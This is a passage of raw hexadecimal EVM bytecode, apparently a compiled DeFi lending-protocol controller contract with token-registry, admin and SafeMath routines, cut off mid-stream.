ddb60a3146105da57806332f751ec146105fa578063396a98cf1461060f5780633cfa4d041461062f57610468565b806312348e961161043b57806312348e96146104fa5780631a435b551461051a5780631b69dc5f1461053c5780632985fa311461056d5780632a4d98cf1461058d57610468565b806302c3bcbb1461046d57806304edc6fb146104a357806305308b9f146104c55780630c7fa6e0146104da575b600080fd5b34801561047957600080fd5b5061048d6104883660046147d2565b610e16565b60405161049a91906157f5565b60405180910390f35b3480156104af57600080fd5b506104c36104be3660046147d2565b610e28565b005b3480156104d157600080fd5b5061048d610e92565b3480156104e657600080fd5b5061048d6104f5366004614935565b610e98565b34801561050657600080fd5b506104c3610515366004614c70565b61110e565b34801561052657600080fd5b5061052f61113d565b60405161049a9190614e3a565b34801561054857600080fd5b5061055c6105573660046147d2565b61114c565b60405161049a959493929190614f23565b34801561057957600080fd5b5061048d610588366004614cc4565b611189565b34801561059957600080fd5b506105ad6105a83660046147d2565b61119b565b60405161049a9190614f18565b3480156105c657600080fd5b506104c36105d5366004614949565b61123e565b3480156105e657600080fd5b5061048d6105f5366004614ce5565b61129d565b34801561060657600080fd5b5061052f611399565b34801561061b57600080fd5b5061048d61062a366004614cc4565b6113a8565b34801561063b57600080fd5b506104c361064a366004614c3c565b6113ba565b34801561065b57600080fd5b506104c361066a366004614935565b611526565b34801561067b57600080fd5b5061048d61068a366004614cc4565b6117e5565b34801561069b57600080fd5b506104c36106aa3660046147d2565b6117f7565b3480156106bb57600080fd5b5061048d6106ca366004614cc4565b611879565b3480156106db57600080fd5b5061048d6106ea3660046147d2565b611891565b3480156106fb57600080fd5b506104c361070a366004614a4e565b6118a3565b34801561071b57600080fd5b5061048d61072a3660046147d2565b61192b565b34801561073b57600080fd5b5061048d611b39565b34801561075057600080fd5b5061048d61075f366004614cc4565b611b3f565b34801561077057600080fd5b5061052f61077f366004614c70565b611b5d565b34801561079057600080fd5b5061048d61079f366004614935565b611b84565b3480156107b057600080fd5b506107c46107bf3660046147d2565b611cb7565b60405161049a92919061580e565b3480156107de57600080fd5b5061048d6107ed366004614d40565b611cf1565b3480156107fe57600080fd5b5061052f611d22565b34801561081357600080fd5b506104c3610822366004614ab3565b611d31565b34801561083357600080fd5b506104c36108423660046147d2565b611eec565b34801561085357600080fd5b506104c36108623660046147d2565b61201b565b34801561087357600080fd5b506104c36108823660046147d2565b612067565b34801561089357600080fd5b5061048d6108a2366004614c70565b6120b3565b3480156108b357600080fd5b506104c36108c2366004614882565b6120cd565b3480156108d357600080fd5b506104c36108e236600461480a565b612353565b3480156108f357600080fd5b5061052f612570565b34801561090857600080fd5b506104c3610917366004614a79565b61257f565b34801561092857600080fd5b506104c3610937366004614b08565b6125be565b34801561094857600080fd5b506107c4610957366004614a09565b612661565b34801561096857600080fd5b5061048d610977366004614d40565b6129a1565b34801561098857600080fd5b5061099c6109973660046147d2565b6129be565b60405161049a9493929190614e8c565b3480156109b857600080fd5b506107c46109c73660046147d2565b6129f4565b3480156109d857600080fd5b5061048d6109e73660046147d2565b612a0e565b3480156109f857600080fd5b506104c3610a07366004614a4e565b612ab1565b348015610a1857600080fd5b5061052f610a27366004614c70565b612afa565b348015610a3857600080fd5b5061052f612b07565b348015610a4d57600080fd5b506104c3610a5c3660046148e5565b612b16565b348015610a6d57600080fd5b5061052f612ddf565b348015610a8257600080fd5b506104c3610a913660046147d2565b612dee565b348015610aa257600080fd5b506105ad610ab13660046147d2565b612e4f565b348015610ac257600080fd5b5061048d610ad1366004614d12565b612eae565b348015610ae257600080fd5b5061048d610af13660046147d2565b612ecb565b348015610b0257600080fd5b5061048d610b11366004614a4e565b612f4a565b348015610b2257600080fd5b506105ad610b313660046149f7565b612f59565b348015610b4257600080fd5b506104c3610b513660046147d2565b61300b565b348015610b6257600080fd5b50610b76610b713660046147d2565b613057565b60405161049a9190614ecb565b348015610b8f57600080fd5b506104c36130e0565b348015610ba457600080fd5b50610b76613131565b348015610bb957600080fd5b5061048d610bc8366004614cc4565b613193565b348015610bd957600080fd5b5061048d610be8366004614cc4565b6131ab565b348015610bf957600080fd5b506104c3610c08366004614c70565b6131b7565b348015610c1957600080fd5b506104c3610c283660046147d2565b6131e6565b348015610c3957600080fd5b5061048d610c48366004614cc4565b613298565b348015610c5957600080fd5b506104c3610c683660046148e5565b6132bf565b348015610c7957600080fd5b506104c3610c88366004614cc4565b6132fb565b348015610c9957600080fd5b506104c3610ca8366004614b8a565b61334c565b348015610cb957600080fd5b5061048d610cc8366004614cc4565b613471565b348015610cd957600080fd5b5061052f610ce8366004614a4e565b61347e565b348015610cf957600080fd5b5061048d610d08366004614c70565b6134b3565b348015610d1957600080fd5b50610d2d610d283660046147d2565b6134c5565b60405161049a9291906157fe565b348015610d4757600080fd5b5061048d610d56366004614cc4565b613571565b6104c3610d69366004614935565b6135b4565b348015610d7a57600080fd5b506104c3610d89366004614842565b613831565b348015610d9a57600080fd5b506104c3610da9366004614976565b613b44565b348015610dba57600080fd5b5061052f613c2b565b348015610dcf57600080fd5b506104c3610dde366004614842565b613c3a565b348015610def57600080fd5b5061052f610dfe3660046147d2565b613d20565b6104c3610e11366004614a4e565b613d3e565b60426020526000908152604090205481565b603d546001600160a01b0316331480610e4b57506034546001600160a01b031633145b610e705760405162461bcd60e51b8152600401610e6790614ff8565b60405180910390fd5b603580546001600160a01b0319166001600160a01b0392909216919091179055565b603c5481565b6000806000610f11866001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed957600080fd5b505afa158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2891906147ee565b91509150600080610f54876001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed957600080fd5b91509150828015610f625750805b610f7e5760405162461bcd60e51b8152600401610e679061570a565b6000876001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b158015610fb957600080fd5b505afa158015610fcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff19190614c88565b90506000610ffe8961192b565b9050600061100b8b61192b565b905060006110b1603360008d6001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561104f57600080fd5b505afa158015611063573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108791906147ee565b6001600160a01b03166001600160a01b031681526020019081526020016000206003015489613571565b90506110c3848463ffffffff61403116565b93506110d58a8363ffffffff61403116565b995060006110e38786613571565b905060006110fa6110f484846131ab565b8d613193565b9a50505050505050505050505b9392505050565b603d546001600160a01b031633146111385760405162461bcd60e51b8152600401610e679061551e565b603c55565b603b546001600160a01b031681565b60436020526000908152604090205460ff808216916101008104821691620100008204811691630100000081048216916401000000009091041685565b6000611107838363ffffffff61403116565b600060336000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156111da57600080fd5b505afa1580156111ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121291906147ee565b6001600160a01b03168152602081019190915260400160002054600160a01b900460ff1690505b919050565b603d546001600160a01b031633146112685760405162461bcd60e51b8152600401610e679061551e565b6001600160a01b0390911660009081526033602052604090208054911515600160a01b0260ff60a01b19909216919091179055565b60008060006112ad610d2861406b565b915091506000806112bd866134c5565b915091508215806112cc575080155b8061134b5750856001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561130b57600080fd5b505afa15801561131f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113439190614d98565b60ff16601214155b1561135d576000945050505050611107565b61138d82611381866113758c8c63ffffffff61403116565b9063ffffffff61403116565b9063ffffffff61408316565b98975050505050505050565b603e546001600160a01b031681565b6000611107838363ffffffff6140c516565b603d546001600160a01b031633146113e45760405162461bcd60e51b8152600401610e679061551e565b6000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561141f57600080fd5b505afa158015611433573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145791906147ee565b6001600160a01b038116600090815260336020526040902054909150600160a01b900460ff161561149a5760405162461bcd60e51b8152600401610e6790615216565b604080516080810182526001600160a01b038087168252600160208084018281528486018981526060860189815288861660009081526033909452969092209451855491511515600160a01b0260ff60a01b19919095166001600160a01b0319909216919091171692909217835590519082015590516003909101556115208185614107565b50505050565b60336000336001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561156357600080fd5b505afa158015611577573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159b91906147ee565b6001600160a01b03168152602081019190915260400160002054600160a01b900460ff166115db5760405162461bcd60e51b8152600401610e6790615308565b6001600160a01b038316600090815260336020526040902054600160a01b900460ff1661161a5760405162461bcd60e51b8152600401610e67906152de565b6001600160a01b03831660009081526043602052604090205460ff16156116535760405162461bcd60e51b8152600401610e679061510c565b6001600160a01b03831660009081526042602052604090205480156117a2576000336001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ad57600080fd5b505afa1580156116c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e59190614c88565b90506000336001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561172257600080fd5b505afa158015611736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175a9190614c88565b905060006117688284613193565b9050600061177c828763ffffffff61427616565b905084811061179d5760405162461bcd60e51b8152600401610e6790614f8a565b505050505b6001600160a01b038085166000908152603360209081526040808320938716835260029093019052205460ff16611520576115206117df85613d20565b8461429b565b6000611107838363ffffffff61427616565b6001600160a01b038116600090815260336020526040902054600160a01b900460ff166118365760405162461bcd60e51b8152600401610e67906152de565b6001600160a01b0381166000908152604360205260409020546301000000900460ff16156118765760405162461bcd60e51b8152600401610e6790615545565b50565b6000611107838363ffffffff61408316565b92915050565b60416020526000908152604090205481565b603d546001600160a01b031633146118cd5760405162461bcd60e51b8152600401610e679061551e565b6001600160a01b038216600090815260336020526040902054600160a01b900460ff1661190c5760405162461bcd60e51b8152600401610e67906152de565b6001600160a01b03909116600090815260336020526040902060010155565b600080826001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561196757600080fd5b505afa15801561197b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061199f9190614d98565b60ff16905060006119ae61406b565b6001600160a01b0316846001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156119f057600080fd5b505afa158015611a04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2891906147ee565b6001600160a01b031614611b1f57836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015611a6f57600080fd5b505afa158015611a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa791906147ee565b6001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611adf57600080fd5b505afa158015611af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b179190614d98565b60ff16611b22565b60125b9050611b2e82826143d9565b600a0a949350505050565b60405481565b60006111078261138185670de0b6b3a764000063ffffffff61403116565b60388181548110611b6a57fe5b6000918252602090912001546001600160a01b0316905081565b600080846001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc057600080fd5b505afa158015611bd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf891906147ee565b6001600160a01b038116600090815260336020526040902054909150600160a01b900460ff16611c3a5760405162461bcd60e51b8152600401610e67906152de565b6001600160a01b03811660009081526043602052604090205462010000900460ff1615611c795760405162461bcd60e51b8152600401610e67906154a1565b600080611c898688876000612661565b9150915080821015611cad5760405162461bcd60e51b8152600401610e67906151e6565b5050509392505050565b600080600080611ccb856000806000612661565b9150915080821115611ce4579003915060009050611cec565b600093500390505b915091565b600080611cfe8585611189565b9050611d1983611d0d836120b3565b9063ffffffff61427616565b95945050505050565b603f546001600160a01b031681565b603b546001600160a01b03163314611d5b5760405162461bcd60e51b8152600401610e679061551e565b8160005b81811015611ee5576000611d8d868684818110611d7857fe5b9050602002016020810190610dfe91906147d2565b90506000611ea8826001600160a01b0316638f840ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611dcd57600080fd5b505afa158015611de1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e059190614c88565b836001600160a01b031663935081648a8a88818110611e2057fe5b9050602002016020810190611e3591906147d2565b306040518363ffffffff1660e01b8152600401611e53929190614e4e565b60206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190614c88565b6143f2565b90508015611edb57611edb878785818110611ebf57fe5b9050602002016020810190611ed491906147d2565b8683613831565b5050600101611d5f565b5050505050565b603b546001600160a01b03163314611f165760405162461bcd60e51b8152600401610e679061551e565b60395460005b8181101561201657600060398281548110611f3357fe5b60009182526020822001546001600160a01b03169150611f5282613d20565b90506000611ff8826001600160a01b0316638f840ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190614c88565b6040516324d4205960e21b81526001600160a01b03851690639350816490611e539088903090600401614e4e565b9050801561200b5761200b838783613831565b505050600101611f1c565b505050565b603d546001600160a01b031633146120455760405162461bcd60e51b8152600401610e679061551e565b603f80546001600160a01b0319166001600160a01b0392909216919091179055565b603d546001600160a01b031633146120915760405162461bcd60e51b8152600401610e679061551e565b603a80546001600160a01b0319166001600160a01b0392909216919091179055565b600061188b82670de0b6b3a764000063ffffffff61408316565b336120d781612e4f565b6120f35760405162461bcd60e51b8152600401610e6790615180565b6000866001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561212e57600080fd5b505afa158015612142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061216691906147ee565b90506000866001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a357600080fd5b505afa1580156121b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121db91906147ee565b6001600160a01b038316600090815260436020526040902054909150640100000000900460ff161561221f5760405162461bcd60e51b8152600401610e6790615136565b6001600160a01b038116600090815260436020526040902054640100000000900460ff16156122605760405162461bcd60e51b8152600401610e6790615267565b600061226b87611cb7565b9150508061228b5760405162461bcd60e51b8152600401610e67906155ce565b612295888761429b565b6040516395dd919360e01b81526000906001600160a01b038b16906395dd9193906122c4908b90600401614e3a565b60206040518083038186803b1580156122dc57600080fd5b505afa1580156122f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123149190614c88565b90506000612324603c5483613193565b9050808711156123465760405162461bcd60e51b8152600401610e6790615093565b5050505050505050505050565b603460009054906101000a90046001600160a01b03166001600160a01b0316635c975abb6040518163ffffffff1660e01b815260040160206040518083038186803b1580156123a157600080fd5b505afa1580156123b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123d99190614c20565b156123f65760405162461bcd60e51b8152600401610e67906154f6565b60336000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b15801561243357600080fd5b505afa158015612447573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061246b91906147ee565b6001600160a01b03168152602081019190915260400160002054600160a01b900460ff168015612530575060336000826001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156124d357600080fd5b505afa1580156124e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250b91906147ee565b6001600160a01b03168152602081019190915260400160002054600160a01b900460ff165b8015612540575061254082612e4f565b8015612550575061255081612e4f565b61256c5760405162461bcd60e51b8152600401610e6790615791565b5050565b603a546001600160a01b031681565b603d546001600160a01b03163314806125a257506034546001600160a01b031633145b6115205760405162461bcd60e51b8152600401610e6790614ff8565b603b546001600160a01b031633146125e85760405162461bcd60e51b8152600401610e679061551e565b8381146126075760405162461bcd60e51b8152600401610e679061556d565b8360005b818110156126585761265087878381811061262257fe5b905060200201602081019061263791906147d2565b8686868581811061264457fe5b90506020020135613831565b60010161260b565b50505050505050565b6001600160a01b0384166000908152603760209081526040808320805482518185028101850190935280835284936060939291908301828280156126ce57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116126b0575b505050505090506126dd61470c565b60005b825181101561298a5760008382815181106126f757fe5b60200260200101519050806001600160a01b0316639ee2735b8b6040518263ffffffff1660e01b815260040161272d9190614e3a565b60606040518083038186803b15801561274557600080fd5b505afa158015612759573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277d9190614d6b565b608086015260608501526040808501919091528051636f307dc360e01b815290516033916000916001600160a01b03851691636f307dc3916004808301926020929190829003018186803b1580156127d457600080fd5b505afa1580156127e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061280c91906147ee565b6001600160a01b03166001600160a01b03168152602001908152602001600020600101548360c0018181525050600080612878836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed957600080fd5b91509150806128995760405162461bcd60e51b8152600401610e67906150e0565b60a0850182905260006128ab8461192b565b905060006128bd876080015183611189565b90506128d28760c00151828960a001516129a1565b60e08801819052604088015188516128eb929190611cf1565b87526060870151612902908363ffffffff61403116565b6060880181905260a0880151602089015161291d9290611cf1565b60208801526001600160a01b03858116908e161415612979576129498760e001518d8960200151611cf1565b602088015261295e8b8363ffffffff61403116565b9a506129738760a001518c8960200151611cf1565b60208801525b5050600190930192506126e0915050565b508051602090910151909890975095505050505050565b60006129b66129b08585613571565b83613571565b949350505050565b6033602052600090815260409020805460018201546003909201546001600160a01b03821692600160a01b90920460ff16919084565b600080612a05836000806000612661565b91509150915091565b6000612a1861406b565b6001600160a01b0316826001600160a01b031614612aa957816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612a6957600080fd5b505afa158015612a7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612aa19190614d98565b60ff1661188b565b506012919050565b603d546001600160a01b03163314612adb5760405162461bcd60e51b8152600401610e679061551e565b6001600160a01b03909116600090815260336020526040902060030155565b60398181548110611b6a57fe5b6034546001600160a01b031681565b6000336001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015612b5157600080fd5b505afa158015612b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b8991906147ee565b6001600160a01b038116600090815260336020526040902054909150600160a01b900460ff16612bcb5760405162461bcd60e51b8152600401610e6790614f5f565b6001600160a01b038116600090815260436020526040902054610100900460ff1615612c095760405162461bcd60e51b8152600401610e67906152b5565b6001600160a01b0381166000908152604160205260409020548015612cd3576000336001600160a01b03166347bd37186040518163ffffffff1660e01b815260040160206040518083038186803b158015612c6357600080fd5b505afa158015612c77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c9b9190614c88565b90506000612caf828663ffffffff61427616565b9050828110612cd05760405162461bcd60e51b8152600401610e67906155fe565b50505b6001600160a01b038216600090815260336020526040902054600160a01b900460ff16612d125760405162461bcd60e51b8152600401610e67906152de565b6000612d1d836134c5565b91505080612d3d5760405162461bcd60e51b8152600401610e67906150e0565b6001600160a01b038084166000908152603360209081526040808320938b16835260029093019052205460ff16612d8057612d80612d7a84613d20565b8861429b565b600080612d908988600089612661565b9150915060008111612db45760405162461bcd60e51b8152600401610e6790615763565b80821015612dd45760405162461bcd60e51b8152600401610e6790615733565b505050505050505050565b6035546001600160a01b031681565b603d546001600160a01b0316331480612e1157506034546001600160a01b031633145b612e2d5760405162461bcd60e51b8152600401610e6790614ff8565b603480546001600160a01b0319166001600160a01b0392909216919091179055565b603854600090815b81811015612ea457836001600160a01b031660388281548110612e7657fe5b6000918252602090912001546001600160a01b03161415612e9c57600192505050611239565b600101612e57565b5060009392505050565b6000611d19670de0b6b3a76400006113818461137589898961129d565b600080612ed783613d20565b9050806001600160a01b031663bee12d536040518163ffffffff1660e01b815260040160206040518083038186803b158015612f1257600080fd5b505afa158015612f26573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111079190614c88565b600061110782611d0d85612ecb565b600060336000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015612f9857600080fd5b505afa158015612fac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fd091906147ee565b6001600160a01b039081168252602080830193909352604091820160009081209187168152600290910190925290205460ff16905092915050565b603b546001600160a01b031633146130355760405162461bcd60e51b8152600401610e679061551e565b603e80546001600160a01b0319166001600160a01b0392909216919091179055565b60608060376000846001600160a01b03166001600160a01b031681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156130d357602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116130b5575b5093979650505050505050565b603e546001600160a01b0316331461310a5760405162461bcd60e51b8152600401610e679061502f565b603e8054603d80546001600160a01b03199081166001600160a01b03841617909155169055565b6060603880548060200260200160405190810160405280929190818152602001828054801561318957602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161316b575b5050505050905090565b6000806131a08484611189565b90506129b6816120b3565b60006111078383611b3f565b603d546001600160a01b031633146131e15760405162461bcd60e51b8152600401610e679061551e565b604055565b600054610100900460ff16806131ff57506131ff614409565b8061320d575060005460ff16155b6132295760405162461bcd60e51b8152600401610e67906153d7565b600054610100900460ff16158015613254576000805460ff1961ff0019909116610100171660011790555b603d8054336001600160a01b031991821617909155603b80549091166001600160a01b038416179055611388604055801561256c576000805461ff00191690555050565b6000806132b3670de0b6b3a76400008563ffffffff61403116565b90506129b68184611b3f565b336132c981612e4f565b6132e55760405162461bcd60e51b8152600401610e6790615180565b6132f0858584611b84565b50611ee5858461429b565b603d546001600160a01b031633148061331e57506034546001600160a01b031633145b61333a5760405162461bcd60e51b8152600401610e6790614ff8565b60009182526036602052604090912055565b603d546001600160a01b031633146133765760405162461bcd60e51b8152600401610e6790615425565b848382821580159061338757508183145b801561339257508083145b6133ae5760405162461bcd60e51b8152600401610e679061566c565b60005b83811015613465578787828181106133c557fe5b90506020020135604160008c8c858181106133dc57fe5b90506020020160208101906133f191906147d2565b6001600160a01b0316815260208101919091526040016000205585858281811061341757fe5b90506020020135604260008c8c8581811061342e57fe5b905060200201602081019061344391906147d2565b6001600160a01b031681526020810191909152604001600020556001016133b1565b50505050505050505050565b6000806131a08484613298565b6037602052816000526040600020818154811061349757fe5b6000918252602090912001546001600160a01b03169150829050565b60366020526000908152604090205481565b603a5460009081906001600160a01b03166134f25760405162461bcd60e51b8152600401610e679061523f565b603a546040516330af0bbf60e21b81526001600160a01b039091169063c2bc2efc90613522908690600401614e3a565b604080518083038186803b15801561353957600080fd5b505afa15801561354d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a059190614ca0565b600080613584848463ffffffff61403116565b9050600061359a6706f05b59d3b2000083614276565b9050611d1981670de0b6b3a764000063ffffffff61408316565b6034546001600160a01b03163314806135d55750336001600160a01b038416145b6135f15760405162461bcd60e51b8152600401610e67906150bb565b6135f961406b565b6001600160a01b0316826001600160a01b03161461377457341561362f5760405162461bcd60e51b8152600401610e6790614fc1565b6040516370a0823160e01b81526000906001600160a01b038416906370a082319061365e903090600401614e3a565b60206040518083038186803b15801561367657600080fd5b505afa15801561368a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136ae9190614c88565b90506136cb6001600160a01b03841685308563ffffffff61440f16565b6040516370a0823160e01b81526000906001600160a01b038516906370a08231906136fa903090600401614e3a565b60206040518083038186803b15801561371257600080fd5b505afa158015613726573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061374a9190614c88565b9050828282031461376d5760405162461bcd60e51b8152600401610e67906151af565b5050612016565b803410156137945760405162461bcd60e51b8152600401610e679061546a565b803411156120165760006137ae348363ffffffff6140c516565b90506000846001600160a01b031682604054906040516137cd90614e37565b600060405180830381858888f193505050503d806000811461380b576040519150601f19603f3d011682016040523d82523d6000602084013e613810565b606091505b5050905080611ee55760405162461bcd60e51b8152600401610e6790615331565b603b546001600160a01b0316331461385b5760405162461bcd60e51b8152600401610e679061551e565b600061386684613d20565b60405163601a0bf160e01b81529091506001600160a01b0382169063601a0bf1906138959085906004016157f5565b600060405180830381600087803b1580156138af57600080fd5b505af11580156138c3573d6000803e3d6000fd5b505050506138d2848484614467565b60405163618cfc3360e11b81526001600160a01b0382169063c319f866906138fe9085906004016157f5565b600060405180830381600087803b15801561391857600080fd5b505af115801561392c573d6000803e3d6000fd5b50505050613938614751565b6040518060a00160405280866001600160a01b03168152602001848152602001836001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561399157600080fd5b505afa1580156139a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139c99190614c88565b8152602001836001600160a01b031663ba1c5e806040518163ffffffff1660e01b815260040160206040518083038186803b158015613a0757600080fd5b505afa158015613a1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a3f9190614c88565b8152602001836001600160a01b0316639350816488306040518363ffffffff1660e01b8152600401613a72929190614e4e565b60206040518083038186803b158015613a8a57600080fd5b505afa158015613a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ac29190614c88565b90526034546040519192506001600160a01b031690637bc597aa90613aeb9084906020016157e7565b6040516020818303038152906040526040518263ffffffff1660e01b8152600401613b1691906156dd565b600060405180830381600087803b158015613b3057600080fd5b505af1158015612dd4573d6000803e3d6000fd5b603d546001600160a01b03163314613b6e5760405162461bcd60e51b8152600401610e67906153a2565b6040805160a0810182529515158652931515602080870191825293151586860190815292151560608701908152911515608087019081526001600160a01b0397909716600090815260439094529390922093518454935191519251955160ff199094169015151761ff001916610100911515919091021762ff0000191662010000911515919091021763ff00000019166301000000931515939093029290921764ff00000000191664010000000092151592909202919091179055565b603d546001600160a01b031681565b33613c4481612e4f565b613c605760405162461bcd60e51b8152600401610e6790615180565b60336000336001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015613c9d57600080fd5b505afa158015613cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cd591906147ee565b6001600160a01b03168152602081019190915260400160002054600160a01b900460ff16613d155760405162461bcd60e51b8152600401610e6790615635565b611520848484614467565b6001600160a01b039081166000908152603360205260409020541690565b6000613d4983613d20565b6040516327249de760e21b81529091506001600160a01b03821690639c92779c90613d789085906004016157f5565b600060405180830381600087803b158015613d9257600080fd5b505af1158015613da6573d6000803e3d6000fd5b50505050613db53384846135b4565b60405163256f5a9360e21b81526001600160a01b038216906395bd6a4c90613de19085906004016157f5565b600060405180830381600087803b158015613dfb57600080fd5b505af1158015613e0f573d6000803e3d6000fd5b50505050613e1b614751565b6040518060a00160405280856001600160a01b03168152602001848152602001836001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b158015613e7457600080fd5b505afa158015613e88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eac9190614c88565b8152602001836001600160a01b031663ba1c5e806040518163ffffffff1660e01b815260040160206040518083038186803b158015613eea57600080fd5b505afa158015613efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f229190614c88565b8152602001836001600160a01b0316639350816487306040518363ffffffff1660e01b8152600401613f55929190614e4e565b60206040518083038186803b158015613f6d57600080fd5b505afa158015613f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fa59190614c88565b90526034546040519192506001600160a01b031690637bc597aa90613fce9084906020016157e7565b6040516020818303038152906040526040518263ffffffff1660e01b8152600401613ff991906154cc565b600060405180830381600087803b15801561401357600080fd5b505af1158015614027573d6000803e3d6000fd5b5050505050505050565b6000826140405750600061188b565b8282028284828161404d57fe5b04146111075760405162461bcd60e51b8152600401610e6790615361565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee90565b600061110783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614527565b600061110783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061455e565b60005b6039548110156141b057826001600160a01b03166039828154811061412b57fe5b6000918252602090912001546001600160a01b0316141561415e5760405162461bcd60e51b8152600401610e67906157c1565b816001600160a01b03166038828154811061417557fe5b6000918252602090912001546001600160a01b031614156141a85760405162461bcd60e51b8152600401610e67906157c1565b60010161410a565b506038805460018181019092557f38395c5dceade9603479b177b68959049485df8aa97b39f3533039af5f4561990180546001600160a01b038085166001600160a01b0319928316179092556039805493840181556000527fdc16fef70f8d5ddbc01ee3d903d1e69c18a3c7be080eb86a81e0578814ee58d39092018054918516919092161790556040517f3f7e38f5830b709d15de3d0a45066834f763a6fe34ef0e4a25dde26a8fa8399b9061426a9084908490614e4e565b60405180910390a15050565b6000828201838110156111075760405162461bcd60e51b8152600401610e679061505c565b600060336000846001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156142da57600080fd5b505afa1580156142ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061431291906147ee565b6001600160a01b0316815260208101919091526040016000208054909150600160a01b900460ff166143565760405162461bcd60e51b8152600401610e67906152de565b6001600160a01b038216600090815260028201602052604090205460ff161561437f575061256c565b6001600160a01b039182166000908152600291909101602090815260408083208054600160ff1990911681179091556037835290832080549182018155835291200180546001600160a01b03191692909116919091179055565b6000818310156143ec575081810361188b565b50900390565b6000818311156144025781611107565b5090919050565b303b1590565b611520846323b872dd60e01b85858560405160240161443093929190614e68565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261458a565b61446f61406b565b6001600160a01b0316836001600160a01b0316146144a6576144a16001600160a01b038416838363ffffffff61461916565b612016565b6000826001600160a0